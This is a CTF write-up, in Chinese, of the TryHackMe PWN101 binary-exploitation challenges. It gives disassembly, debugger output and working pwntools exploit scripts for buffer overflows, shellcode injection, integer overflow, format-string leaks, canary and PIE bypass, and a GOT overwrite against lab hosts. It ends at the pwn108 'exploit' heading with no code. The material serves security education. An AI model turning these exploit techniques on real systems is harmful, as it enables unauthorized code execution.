TryHackMe PWN101

  • Buffer overflow
  • Modify variable’s value
  • Return to win
  • Return to shellcode
  • Integer Overflow
  • Format string exploit
  • Bypassing mitigations
  • GOT overwrite
  • Return to PLT
  • Playing with ROP

pwn 101 – Buffer overflow

no stack canary 觀察得知 rbp-0x4 是 0x539,當 rbp-0x4 這段空間的值不是 0x539 時,會有 system(‘/bin/sh’) 可以 RCE,利用 gets 塞滿 rbp-0x40,順帶把 rbp-0x4 蓋過即可拿到 shell

pwndbg> disassemble main
Dump of assembler code for function main:
   0x000000000000088e <+0>:     push   rbp
   0x000000000000088f <+1>:     mov    rbp,rsp
   0x0000000000000892 <+4>:     sub    rsp,0x40
   0x0000000000000896 <+8>:     mov    DWORD PTR [rbp-0x4],0x539
   0x000000000000089d <+15>:    mov    eax,0x0
   0x00000000000008a2 <+20>:    call   0x81a <setup>
   0x00000000000008a7 <+25>:    mov    eax,0x0
   0x00000000000008ac <+30>:    call   0x87b <banner>
   0x00000000000008b1 <+35>:    lea    rdi,[rip+0x208]        # 0xac0
   0x00000000000008b8 <+42>:    call   0x6b0 <puts@plt>
   0x00000000000008bd <+47>:    lea    rdi,[rip+0x2dc]        # 0xba0
   0x00000000000008c4 <+54>:    call   0x6b0 <puts@plt>
   0x00000000000008c9 <+59>:    lea    rax,[rbp-0x40]
   0x00000000000008cd <+63>:    mov    rdi,rax
   0x00000000000008d0 <+66>:    mov    eax,0x0
   0x00000000000008d5 <+71>:    call   0x6d0 <gets@plt>
   0x00000000000008da <+76>:    cmp    DWORD PTR [rbp-0x4],0x539
   0x00000000000008e1 <+83>:    jne    0x8f9 <main+107>
   0x00000000000008e3 <+85>:    lea    rdi,[rip+0x2e6]        # 0xbd0
   0x00000000000008ea <+92>:    call   0x6b0 <puts@plt>
   0x00000000000008ef <+97>:    mov    edi,0x539
   0x00000000000008f4 <+102>:   call   0x6f0 <exit@plt>
   0x00000000000008f9 <+107>:   lea    rdi,[rip+0x318]        # 0xc18
   0x0000000000000900 <+114>:   call   0x6b0 <puts@plt>
   0x0000000000000905 <+119>:   lea    rdi,[rip+0x333]        # 0xc3f
   0x000000000000090c <+126>:   call   0x6c0 <system@plt>
   0x0000000000000911 <+131>:   nop
   0x0000000000000912 <+132>:   leave
   0x0000000000000913 <+133>:   ret
End of assembler dump.
pwndbg> x/s 0xc3f
0xc3f:  "/bin/sh"

Payload

from pwn import *
ip='10.10.101.156'
port=9001
r=remote(ip,port)

r.sendline(b'a'*0x40)
r.interactive()

pwn 102 – Modify variable’s value

初始 rbp-0x4 存 0xbadf00d , rbp-0x8 存 0xfee1dead , scanf 儲存的內容從 rbp-0x70 開始,其中 if rbp-0x4 改成 0xc0ff33、 rbp-0x8 改成 0xc0d3 可以拿到 shell ,從 0x70 開始往上塞 padding 會先遇到 rbp-0x8 所以先送 0xc0d3 再送 0xc0ff33,因為這兩個值都是占 4 bytes 所以用 p32() 送。

pwndbg> disassemble main
Dump of assembler code for function main:
   0x00000000000008fe <+0>:     push   rbp
   0x00000000000008ff <+1>:     mov    rbp,rsp
   0x0000000000000902 <+4>:     sub    rsp,0x70
   0x0000000000000906 <+8>:     mov    eax,0x0
   0x000000000000090b <+13>:    call   0x88a <setup>
   0x0000000000000910 <+18>:    mov    eax,0x0
   0x0000000000000915 <+23>:    call   0x8eb <banner>
   0x000000000000091a <+28>:    mov    DWORD PTR [rbp-0x4],0xbadf00d
   0x0000000000000921 <+35>:    mov    DWORD PTR [rbp-0x8],0xfee1dead
   0x0000000000000928 <+42>:    mov    edx,DWORD PTR [rbp-0x8]
   0x000000000000092b <+45>:    mov    eax,DWORD PTR [rbp-0x4]
   0x000000000000092e <+48>:    mov    esi,eax
   0x0000000000000930 <+50>:    lea    rdi,[rip+0x212]        # 0xb49
   0x0000000000000937 <+57>:    mov    eax,0x0
   0x000000000000093c <+62>:    call   0x730 <printf@plt>
   0x0000000000000941 <+67>:    lea    rax,[rbp-0x70]
   0x0000000000000945 <+71>:    mov    rsi,rax
   0x0000000000000948 <+74>:    lea    rdi,[rip+0x217]        # 0xb66
   0x000000000000094f <+81>:    mov    eax,0x0
   0x0000000000000954 <+86>:    call   0x750 <__isoc99_scanf@plt>
   0x0000000000000959 <+91>:    cmp    DWORD PTR [rbp-0x4],0xc0ff33
   0x0000000000000960 <+98>:    jne    0x992 <main+148>
   0x0000000000000962 <+100>:   cmp    DWORD PTR [rbp-0x8],0xc0d3
   0x0000000000000969 <+107>:   jne    0x992 <main+148>
   0x000000000000096b <+109>:   mov    edx,DWORD PTR [rbp-0x8]
   0x000000000000096e <+112>:   mov    eax,DWORD PTR [rbp-0x4]
   0x0000000000000971 <+115>:   mov    esi,eax
   0x0000000000000973 <+117>:   lea    rdi,[rip+0x1ef]        # 0xb69
   0x000000000000097a <+124>:   mov    eax,0x0
   0x000000000000097f <+129>:   call   0x730 <printf@plt>
   0x0000000000000984 <+134>:   lea    rdi,[rip+0x1f4]        # 0xb7f
   0x000000000000098b <+141>:   call   0x720 <system@plt>
   0x0000000000000990 <+146>:   jmp    0x9a8 <main+170>
   0x0000000000000992 <+148>:   lea    rdi,[rip+0x1ef]        # 0xb88
   0x0000000000000999 <+155>:   call   0x710 <puts@plt>
   0x000000000000099e <+160>:   mov    edi,0x539
   0x00000000000009a3 <+165>:   call   0x760 <exit@plt>
   0x00000000000009a8 <+170>:   leave
   0x00000000000009a9 <+171>:   ret
End of assembler dump.
pwndbg> x/s 0xb7f
0xb7f:  "/bin/sh"

Payload

from pwn import *
ip='10.10.101.156'
port=9002
r=remote(ip,port)

r.sendline(b'a'*104 + p32(0xc0d3) + p32(0xc0ff33))
r.interactive()

pwn 103 – Return to win

直接跑起來長這樣

┌──(kali㉿kali)-[~/pwn]
└─$ ./pwn103-1644300337872.pwn103 
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⡟⠁⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠈⢹⣿⣿⣿                                                                                                     
⣿⣿⣿⡇⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⢸⣿⣿⣿                                                                                                     
⣿⣿⣿⡇⠄⠄⠄⢠⣴⣾⣵⣶⣶⣾⣿⣦⡄⠄⠄⠄⢸⣿⣿⣿                                                                                                     
⣿⣿⣿⡇⠄⠄⢀⣾⣿⣿⢿⣿⣿⣿⣿⣿⣿⡄⠄⠄⢸⣿⣿⣿                                                                                                     
⣿⣿⣿⡇⠄⠄⢸⣿⣿⣧⣀⣼⣿⣄⣠⣿⣿⣿⠄⠄⢸⣿⣿⣿                                                                                                     
⣿⣿⣿⡇⠄⠄⠘⠻⢷⡯⠛⠛⠛⠛⢫⣿⠟⠛⠄⠄⢸⣿⣿⣿                                                                                                     
⣿⣿⣿⡇⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⢸⣿⣿⣿                                                                                                     
⣿⣿⣿⣧⡀⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⢡⣀⠄⠄⢸⣿⣿⣿                                                                                                     
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣆⣸⣿⣿⣿                                                                                                     
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿                                                                                                     
                                                                                                                             
  [THM Discord Server]                                                                                                       

➖➖➖➖➖➖➖➖➖➖➖
1) 📢 Announcements
2) 📜 Rules
3) 🗣  General
4) 🏠 rooms discussion
5) 🤖 Bot commands
➖➖➖➖➖➖➖➖➖➖➖
⌨  Choose the channel: 

其中選項 3 的 General function 中的 strcmp 可以 overflow,scanf 輸入的值會存在 rbp-0x20 在加上 rbp 的 8 bytes 當作 padding

pwndbg> disassemble general
Dump of assembler code for function general:
   0x00000000004012be <+0>:     push   rbp
   0x00000000004012bf <+1>:     mov    rbp,rsp
   0x00000000004012c2 <+4>:     sub    rsp,0x20
   0x00000000004012c6 <+8>:     lea    rax,[rip+0x10dd]        # 0x4023aa
   0x00000000004012cd <+15>:    mov    rdi,rax
   0x00000000004012d0 <+18>:    call   0x401040 <puts@plt>
   0x00000000004012d5 <+23>:    lea    rax,[rip+0x10e4]        # 0x4023c0
   0x00000000004012dc <+30>:    mov    rdi,rax
   0x00000000004012df <+33>:    call   0x401040 <puts@plt>
   0x00000000004012e4 <+38>:    lea    rax,[rip+0x10fd]        # 0x4023e8
   0x00000000004012eb <+45>:    mov    rdi,rax
   0x00000000004012ee <+48>:    call   0x401040 <puts@plt>
   0x00000000004012f3 <+53>:    lea    rax,[rip+0x111e]        # 0x402418
   0x00000000004012fa <+60>:    mov    rdi,rax
   0x00000000004012fd <+63>:    call   0x401040 <puts@plt>
   0x0000000000401302 <+68>:    lea    rax,[rip+0x1143]        # 0x40244c
   0x0000000000401309 <+75>:    mov    rdi,rax
   0x000000000040130c <+78>:    mov    eax,0x0
   0x0000000000401311 <+83>:    call   0x401060 <printf@plt>
   0x0000000000401316 <+88>:    lea    rax,[rbp-0x20]
   0x000000000040131a <+92>:    mov    rsi,rax
   0x000000000040131d <+95>:    lea    rax,[rip+0x1138]        # 0x40245c
   0x0000000000401324 <+102>:   mov    rdi,rax
   0x0000000000401327 <+105>:   mov    eax,0x0
   0x000000000040132c <+110>:   call   0x4010a0 <__isoc99_scanf@plt>
   0x0000000000401331 <+115>:   lea    rax,[rbp-0x20]
   0x0000000000401335 <+119>:   lea    rdx,[rip+0x1123]        # 0x40245f
   0x000000000040133c <+126>:   mov    rsi,rdx
   0x000000000040133f <+129>:   mov    rdi,rax
   0x0000000000401342 <+132>:   call   0x401080 <strcmp@plt>
   0x0000000000401347 <+137>:   test   eax,eax
   0x0000000000401349 <+139>:   jne    0x401366 <general+168>
   0x000000000040134b <+141>:   lea    rax,[rip+0x1111]        # 0x402463
   0x0000000000401352 <+148>:   mov    rdi,rax
   0x0000000000401355 <+151>:   call   0x401040 <puts@plt>
   0x000000000040135a <+156>:   mov    eax,0x0
   0x000000000040135f <+161>:   call   0x40158c <main>
   0x0000000000401364 <+166>:   jmp    0x401375 <general+183>
   0x0000000000401366 <+168>:   lea    rax,[rip+0x1112]        # 0x40247f
   0x000000000040136d <+175>:   mov    rdi,rax
   0x0000000000401370 <+178>:   call   0x401040 <puts@plt>
   0x0000000000401375 <+183>:   nop
   0x0000000000401376 <+184>:   leave
   0x0000000000401377 <+185>:   ret

在這支 ELF 有個 admins_only 的 function 可以 RCE,padding 塞完後,把 ret 的位置蓋成這 function 的 address

pwndbg> disassemble admins_only
Dump of assembler code for function admins_only:
   0x0000000000401554 <+0>:     push   rbp
   0x0000000000401555 <+1>:     mov    rbp,rsp
   0x0000000000401558 <+4>:     sub    rsp,0x10
   0x000000000040155c <+8>:     lea    rax,[rip+0x1d04]        # 0x403267
   0x0000000000401563 <+15>:    mov    rdi,rax
   0x0000000000401566 <+18>:    call   0x401040 <puts@plt>
   0x000000000040156b <+23>:    lea    rax,[rip+0x1d0a]        # 0x40327c
   0x0000000000401572 <+30>:    mov    rdi,rax
   0x0000000000401575 <+33>:    call   0x401040 <puts@plt>
   0x000000000040157a <+38>:    lea    rax,[rip+0x1d0e]        # 0x40328f
   0x0000000000401581 <+45>:    mov    rdi,rax
   0x0000000000401584 <+48>:    call   0x401050 <system@plt>
   0x0000000000401589 <+53>:    nop
   0x000000000040158a <+54>:    leave
   0x000000000040158b <+55>:    ret
End of assembler dump.
pwndbg> x/s 0x40328f
0x40328f:       "/bin/sh"

Payload

from pwn import *
#r=process('./pwn103-1644300337872.pwn103')
ip='10.10.100.188'
port=9003
r=remote(ip,port)

r.sendline(b'3')
r.sendline(b'a'*0x28 + p64(0x401555))
r.interactive()

pwn 104 – Return to shellcode

保護全關的一題,觀察得知 offset 是 80 (rbp-0x50) +8 (rbp) ,先填入 shellcode 在將 ret addr 填為 shellcode 所在的位置

pwndbg> disassemble main
Dump of assembler code for function main:
   0x00000000004011cd <+0>:     push   rbp
   0x00000000004011ce <+1>:     mov    rbp,rsp
   0x00000000004011d1 <+4>:     sub    rsp,0x50
   0x00000000004011d5 <+8>:     mov    eax,0x0
   0x00000000004011da <+13>:    call   0x401156 <setup>
   0x00000000004011df <+18>:    mov    eax,0x0
   0x00000000004011e4 <+23>:    call   0x4011b7 <banner>
   0x00000000004011e9 <+28>:    lea    rax,[rip+0xf30]        # 0x402120
   0x00000000004011f0 <+35>:    mov    rdi,rax
   0x00000000004011f3 <+38>:    call   0x401030 <puts@plt>
   0x00000000004011f8 <+43>:    lea    rax,[rip+0xf49]        # 0x402148
   0x00000000004011ff <+50>:    mov    rdi,rax
   0x0000000000401202 <+53>:    call   0x401030 <puts@plt>
   0x0000000000401207 <+58>:    lea    rax,[rip+0xf62]        # 0x402170
   0x000000000040120e <+65>:    mov    rdi,rax
   0x0000000000401211 <+68>:    call   0x401030 <puts@plt>
   0x0000000000401216 <+73>:    lea    rax,[rbp-0x50]
   0x000000000040121a <+77>:    mov    rsi,rax
   0x000000000040121d <+80>:    lea    rax,[rip+0xf6c]        # 0x402190
   0x0000000000401224 <+87>:    mov    rdi,rax
   0x0000000000401227 <+90>:    mov    eax,0x0
   0x000000000040122c <+95>:    call   0x401040 <printf@plt>
   0x0000000000401231 <+100>:   lea    rax,[rbp-0x50]
   0x0000000000401235 <+104>:   mov    edx,0xc8
   0x000000000040123a <+109>:   mov    rsi,rax
   0x000000000040123d <+112>:   mov    edi,0x0
   0x0000000000401242 <+117>:   mov    eax,0x0
   0x0000000000401247 <+122>:   call   0x401050 <read@plt>
   0x000000000040124c <+127>:   nop
   0x000000000040124d <+128>:   leave
=> 0x000000000040124e <+129>:   ret

Payload

from pwn import *
context.arch = 'amd64'
io=process('./pwn104-1644300377109.pwn104')
io.recvlines(9)

io.recvuntil(b"I'm waiting for you at ")
addr=int(io.recv().strip(),16)

shellcode = asm(shellcraft.sh())

io.send(shellcode.ljust(88,b'a')+p64(addr))
io.interactive()

pwn 105 – Integer Overflow

IDA decompile

必須滿足題目(v5 & 0x80000000) != 0 || (v6 & 0x80000000) != 0 才能有機會跳到/bin/sh意思是v5、v6必須要是小於0x80000000也就是小於等於C裡面int最大值2147483647,但是要需要v5+v6也就是v7大於等於0x80000000才會(v7 & 0x80000000) != 0

int __fastcall main(int argc, const char **argv, const char **envp)
{
  unsigned int v5; // [rsp+Ch] [rbp-14h] BYREF
  unsigned int v6; // [rsp+10h] [rbp-10h] BYREF
  unsigned int v7; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v8; // [rsp+18h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  setup(argc, argv, envp);
  banner();
  puts("-------=[ BAD INTEGERS ]=-------");
  puts("|-< Enter two numbers to add >-|\n");
  printf("]>> ");
  __isoc99_scanf("%d", &v5);
  printf("]>> ");
  __isoc99_scanf("%d", &v6);
  v7 = v5 + v6;
  if ( (v5 & 0x80000000) != 0 || (v6 & 0x80000000) != 0 )
  {
    printf("\n[o.O] Hmmm... that was a Good try!\n");
  }
  else if ( (v7 & 0x80000000) != 0 )
  {
    printf("\n[*] C: %d", v7);
    puts("\n[*] Popped Shell\n[*] Switching to interactive mode");
    system("/bin/sh");
  }
  else
  {
    printf("\n[*] ADDING %d + %d", v5, v6);
    printf("\n[*] RESULT: %d\n", v7);
  }
  return v8 - __readfsqword(0x28u);
}

v5填2147483647、v6填1,讓v5+v6(v7)大於int最大值

Payload

from pwn import *
ip='10.10.12.233'
port=9005
r=remote(ip,port)

r.recvlines(9)
r.sendlineafter(']>>',b'2147483647')
r.sendlineafter(']>>',b'1')
r.interactive()

pwn 106 – Format string exploit

printf() 的地方有 fmt vuln

pwndbg> disassemble main
Dump of assembler code for function main:
   0x000000000000123e <+0>:     push   rbp
   0x000000000000123f <+1>:     mov    rbp,rsp
   0x0000000000001242 <+4>:     sub    rsp,0x60
   0x0000000000001246 <+8>:     mov    rax,QWORD PTR fs:0x28
   0x000000000000124f <+17>:    mov    QWORD PTR [rbp-0x8],rax
   0x0000000000001253 <+21>:    xor    eax,eax
   0x0000000000001255 <+23>:    mov    eax,0x0
   0x000000000000125a <+28>:    call   0x1179 <setup>
   0x000000000000125f <+33>:    mov    eax,0x0
   0x0000000000001264 <+38>:    call   0x1201 <banner>
   0x0000000000001269 <+43>:    movabs rax,0x5b5858587b4d4854
   0x0000000000001273 <+53>:    movabs rdx,0x6465725f67616c66
   0x000000000000127d <+63>:    mov    QWORD PTR [rbp-0x60],rax
   0x0000000000001281 <+67>:    mov    QWORD PTR [rbp-0x58],rdx
   0x0000000000001285 <+71>:    movabs rax,0x58585d6465746361
   0x000000000000128f <+81>:    mov    QWORD PTR [rbp-0x50],rax
   0x0000000000001293 <+85>:    mov    WORD PTR [rbp-0x48],0x7d58
   0x0000000000001299 <+91>:    mov    BYTE PTR [rbp-0x46],0x0
   0x000000000000129d <+95>:    lea    rax,[rip+0xe75]        # 0x2119
   0x00000000000012a4 <+102>:   mov    rdi,rax
   0x00000000000012a7 <+105>:   call   0x1030 <puts@plt>
   0x00000000000012ac <+110>:   lea    rax,[rip+0xe85]        # 0x2138
   0x00000000000012b3 <+117>:   mov    rdi,rax
   0x00000000000012b6 <+120>:   mov    eax,0x0
   0x00000000000012bb <+125>:   call   0x1050 <printf@plt>
   0x00000000000012c0 <+130>:   lea    rax,[rbp-0x40]
   0x00000000000012c4 <+134>:   mov    edx,0x32
   0x00000000000012c9 <+139>:   mov    rsi,rax
   0x00000000000012cc <+142>:   mov    edi,0x0
   0x00000000000012d1 <+147>:   mov    eax,0x0
   0x00000000000012d6 <+152>:   call   0x1060 <read@plt>
   0x00000000000012db <+157>:   lea    rax,[rip+0xe8f]        # 0x2171
   0x00000000000012e2 <+164>:   mov    rdi,rax
   0x00000000000012e5 <+167>:   mov    eax,0x0
   0x00000000000012ea <+172>:   call   0x1050 <printf@plt>
   0x00000000000012ef <+177>:   lea    rax,[rbp-0x40]
   0x00000000000012f3 <+181>:   mov    rdi,rax
   0x00000000000012f6 <+184>:   mov    eax,0x0
   0x00000000000012fb <+189>:   call   0x1050 <printf@plt>
   0x0000000000001300 <+194>:   nop
   0x0000000000001301 <+195>:   mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000001305 <+199>:   sub    rax,QWORD PTR fs:0x28
   0x000000000000130e <+208>:   je     0x1315 <main+215>
   0x0000000000001310 <+210>:   call   0x1040 <__stack_chk_fail@plt>
   0x0000000000001315 <+215>:   leave
   0x0000000000001316 <+216>:   ret

用 pwndbg 驗證 flag 有存在 stack 上

pwndbg> r
Starting program: /home/kali/pwn/pwn106-user-1644300441063.pwn106-user 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, 0x0000555555555242 in main ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────────────────
 RAX  0x55555555523e (main) ◂— push rbp
 RBX  0x7fffffffde58 —▸ 0x7fffffffe1c6 ◂— '/home/kali/pwn/pwn106-user-1644300441063.pwn106-user'
 RCX  0x7ffff7f95680 (__exit_funcs) —▸ 0x7ffff7f97000 (initial) ◂— 0
 RDX  0x7fffffffde68 —▸ 0x7fffffffe1fb ◂— 'COLORFGBG=15;0'
 RDI  1
 RSI  0x7fffffffde58 —▸ 0x7fffffffe1c6 ◂— '/home/kali/pwn/pwn106-user-1644300441063.pwn106-user'
 R8   0x555555555380 (__libc_csu_fini) ◂— ret 
 R9   0x7ffff7fcbc80 (_dl_fini) ◂— push rbp
 R10  0x7fffffffda80 ◂— 0x800000
 R11  0x206
 R12  0
 R13  0x7fffffffde68 —▸ 0x7fffffffe1fb ◂— 'COLORFGBG=15;0'
 R14  0x7ffff7ffd000 (_rtld_global) —▸ 0x7ffff7ffe310 —▸ 0x555555554000 ◂— 0x10102464c457f
 R15  0
 RBP  0x7fffffffdd40 ◂— 1
 RSP  0x7fffffffdd40 ◂— 1
 RIP  0x555555555242 (main+4) ◂— sub rsp, 0x60
────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]─────────────────────────────────────────────
 ► 0x555555555242 <main+4>     sub    rsp, 0x60                    RSP => 0x7fffffffdce0 (0x7fffffffdd40 - 0x60)
   0x555555555246 <main+8>     mov    rax, qword ptr fs:[0x28]     RAX, [0x7ffff7dab768] => 0x8d09028e828a9200
   0x55555555524f <main+17>    mov    qword ptr [rbp - 8], rax     [0x7fffffffdd38] <= 0x8d09028e828a9200
   0x555555555253 <main+21>    xor    eax, eax                     EAX => 0
   0x555555555255 <main+23>    mov    eax, 0                       EAX => 0
   0x55555555525a <main+28>    call   setup                       <setup>
 
   0x55555555525f <main+33>    mov    eax, 0       EAX => 0
   0x555555555264 <main+38>    call   banner                      <banner>
 
   0x555555555269 <main+43>    movabs rax, 0x5b5858587b4d4854         RAX => 0x5b5858587b4d4854 ('THM{XXX[')
   0x555555555273 <main+53>    movabs rdx, 0x6465725f67616c66         RDX => 0x6465725f67616c66 ('flag_red')
   0x55555555527d <main+63>    mov    qword ptr [rbp - 0x60], rax
──────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────
00:0000│ rbp rsp 0x7fffffffdd40 ◂— 1
01:0008│+008     0x7fffffffdd48 —▸ 0x7ffff7dd7ca8 (__libc_start_call_main+120) ◂— mov edi, eax
02:0010│+010     0x7fffffffdd50 —▸ 0x7fffffffde40 —▸ 0x7fffffffde48 ◂— 0x38 /* '8' */
03:0018│+018     0x7fffffffdd58 —▸ 0x55555555523e (main) ◂— push rbp
04:0020│+020     0x7fffffffdd60 ◂— 0x155554040
05:0028│+028     0x7fffffffdd68 —▸ 0x7fffffffde58 —▸ 0x7fffffffe1c6 ◂— '/home/kali/pwn/pwn106-user-1644300441063.pwn106-user'
06:0030│+030     0x7fffffffdd70 —▸ 0x7fffffffde58 —▸ 0x7fffffffe1c6 ◂— '/home/kali/pwn/pwn106-user-1644300441063.pwn106-user'
07:0038│+038     0x7fffffffdd78 ◂— 0xd23b59c484279e34
────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────
 ► 0   0x555555555242 main+4
   1   0x7ffff7dd7ca8 __libc_start_call_main+120
   2   0x7ffff7dd7d65 __libc_start_main+133
   3   0x5555555550ba _start+42
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg>

Payload

from pwn import *

r=remote('10.10.125.41',9006)
#r=process('/mnt/d/Users/cheng/Downloads/pwn106-user-1644300441063.pwn106-user')
r.recvlines(7)

r.sendline(b"%6$p,%7$p,%8$p,%9$p,%10$p,%11$p,%12$p")

r.recvline()
response = r.recvline().decode().strip().replace('Thanks ', '').replace('0x','').split(',')

for i in range(7):
    print(bytes.fromhex(response[i]).decode()[::-1],end='')
print()
r.close()

pwn 107 – Bypassing mitigations

這題保護全開,一樣有 fmt & bof 且有給可以 RCE 的 function 但需要 leak canary & pie base

pwndbg> disassemble main
Dump of assembler code for function main:
   0x0000000000000992 <+0>:     push   rbp
   0x0000000000000993 <+1>:     mov    rbp,rsp
   0x0000000000000996 <+4>:     sub    rsp,0x40
   0x000000000000099a <+8>:     mov    rax,QWORD PTR fs:0x28
   0x00000000000009a3 <+17>:    mov    QWORD PTR [rbp-0x8],rax
   0x00000000000009a7 <+21>:    xor    eax,eax
   0x00000000000009a9 <+23>:    mov    eax,0x0
   0x00000000000009ae <+28>:    call   0x88a <setup>
   0x00000000000009b3 <+33>:    mov    eax,0x0
   0x00000000000009b8 <+38>:    call   0x912 <banner>
   0x00000000000009bd <+43>:    lea    rdi,[rip+0x2a4]        # 0xc68
   0x00000000000009c4 <+50>:    call   0x710 <puts@plt>
   0x00000000000009c9 <+55>:    lea    rdi,[rip+0x2b8]        # 0xc88
   0x00000000000009d0 <+62>:    call   0x710 <puts@plt>
   0x00000000000009d5 <+67>:    lea    rdi,[rip+0x2d4]        # 0xcb0
   0x00000000000009dc <+74>:    call   0x710 <puts@plt>
   0x00000000000009e1 <+79>:    lea    rdi,[rip+0x318]        # 0xd00
   0x00000000000009e8 <+86>:    call   0x710 <puts@plt>
   0x00000000000009ed <+91>:    lea    rdi,[rip+0x344]        # 0xd38
   0x00000000000009f4 <+98>:    mov    eax,0x0
   0x00000000000009f9 <+103>:   call   0x740 <printf@plt>
   0x00000000000009fe <+108>:   lea    rax,[rbp-0x40]
   0x0000000000000a02 <+112>:   mov    edx,0x14
   0x0000000000000a07 <+117>:   mov    rsi,rax
   0x0000000000000a0a <+120>:   mov    edi,0x0
   0x0000000000000a0f <+125>:   mov    eax,0x0
   0x0000000000000a14 <+130>:   call   0x750 <read@plt>
   0x0000000000000a19 <+135>:   lea    rdi,[rip+0x338]        # 0xd58
   0x0000000000000a20 <+142>:   mov    eax,0x0
   0x0000000000000a25 <+147>:   call   0x740 <printf@plt>
   0x0000000000000a2a <+152>:   lea    rax,[rbp-0x40]
   0x0000000000000a2e <+156>:   mov    rdi,rax
   0x0000000000000a31 <+159>:   mov    eax,0x0
   0x0000000000000a36 <+164>:   call   0x740 <printf@plt>
   0x0000000000000a3b <+169>:   lea    rdi,[rip+0x346]        # 0xd88
   0x0000000000000a42 <+176>:   call   0x710 <puts@plt>
   0x0000000000000a47 <+181>:   lea    rdi,[rip+0x36a]        # 0xdb8
   0x0000000000000a4e <+188>:   call   0x710 <puts@plt>
   0x0000000000000a53 <+193>:   lea    rax,[rbp-0x20]
   0x0000000000000a57 <+197>:   mov    edx,0x200
   0x0000000000000a5c <+202>:   mov    rsi,rax
   0x0000000000000a5f <+205>:   mov    edi,0x0
   0x0000000000000a64 <+210>:   mov    eax,0x0
   0x0000000000000a69 <+215>:   call   0x750 <read@plt>
   0x0000000000000a6e <+220>:   nop
   0x0000000000000a6f <+221>:   mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000000a73 <+225>:   xor    rax,QWORD PTR fs:0x28
   0x0000000000000a7c <+234>:   je     0xa83 <main+241>
   0x0000000000000a7e <+236>:   call   0x720 <__stack_chk_fail@plt>
   0x0000000000000a83 <+241>:   leave
   0x0000000000000a84 <+242>:   ret

Payload

fuzzing

canary 的特色是 00 結尾,這裡抓到的位置是 13 ; 接著找 main static offset 是 992 結尾的,local 跑的結果是 17,但 remote 是 19

from pwn import *
for i in range(6, 25):
    #p = process('./pwn107-1644307530397.pwn107')
    p=remote('10.48.178.31',9007)
    p.sendlineafter(b"streak? ", f"%{i}$p".encode())
    p.recvuntil(b"current streak: ")
    print(f"{i}: {p.recvline().strip().decode()}")
    p.close()

exploit

用 main 的位置去找,求得 PIE base = runtime address – static offset ; 以及取得可以 RCE function 的位置

pwndbg> p main
$1 = {<text variable, no debug info>} 0x555555400992 <main>
pwndbg> p get_streak
$2 = {<text variable, no debug info>} 0x55555540094c <get_streak>

在第二次 read 時,原變數大小是 24 但是可以 read 0x200 利用此處 overflow ,再加上 leak canary & 8 bytes padding 蓋過 rbp ,接著在 ret 的地方填入 RCE function

from pwn import *

io=remote('10.48.176.242',9007)
#io=process('./pwn107-1644307530397.pwn107')
io.recvlines(10)
io.sendline(b'%13$p,%19$p')
shell_offset=0x94d
main_offset=0x992
io.recvline()
io.recvuntil(b'Your current streak: ')

leak = io.recvline().decode().strip().split(',')
canary = int(leak[0], 16)
leakedpie = int(leak[1], 16)

log.success(f'canary {hex(canary)} , pie base {hex(leakedpie-main_offset)}')
target=leakedpie-main_offset+shell_offset
io.sendline(b'a'*24+p64(canary)+b'a'*8+p64(target))

io.interactive()

pwn 108 – GOT overwrite

Partial RELRO & No PIE 且有 RCE function holidays,觀察程式得知在第二次輸入時有 fmt vuln ,可以利用第一次輸入時填入 holidays address ,第二次輸入時利用 fmt 將 puts got 改成 holidays address

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char buf[32]; // [rsp+0h] [rbp-90h] BYREF
  char format[104]; // [rsp+20h] [rbp-70h] BYREF
  unsigned __int64 v7; // [rsp+88h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  setup(argc, argv, envp);
  banner();
  puts(aThmUniversity);
  puts(&byte_402198);
  printf("\n=[Your name]: ");
  read(0, buf, 0x12u);
  printf("=[Your Reg No]: ");
  read(0, format, 0x64u);
  puts("\n=[ STUDENT PROFILE ]=");
  printf("Name         : %s", buf);
  printf("Register no  : ");
  printf(format);
  printf("Institue     : THM");
  puts("\nBranch       : B.E (Binary Exploitation)\n");
  puts(
    "\n"
    "                    =[ EXAM SCHEDULE ]=                  \n"
    " --------------------------------------------------------\n"
    "|  Date     |           Exam               |    FN/AN    |\n"
    "|--------------------------------------------------------\n"
    "| 1/2/2022  |  PROGRAMMING IN ASSEMBLY     |     FN      |\n"
    "|--------------------------------------------------------\n"
    "| 3/2/2022  |  DATA STRUCTURES             |     FN      |\n"
    "|--------------------------------------------------------\n"
    "| 3/2/2022  |  RETURN ORIENTED PROGRAMMING |     AN      |\n"
    "|--------------------------------------------------------\n"
    "| 7/2/2022  |  SCRIPTING WITH PYTHON       |     FN      |\n"
    " --------------------------------------------------------");
  return v7 - __readfsqword(0x28u);
}

Payload

fuzzing

fuzzing 結果 %6$p %10$p 皆可讀取到第一次輸入時的 8 個 b

from pwn import *
for i in range(6,25):
    io=process('./pwn108-1644300489260.pwn108')
    io.sendlineafter(b':',b'bbbbbbbb')
    io.sendlineafter(b':',f'aaaaaaaa%{i}$p'.encode())
    io.recvlines(3)
    log.info(f"{i} {io.recvline().split()[3]}")

exploit

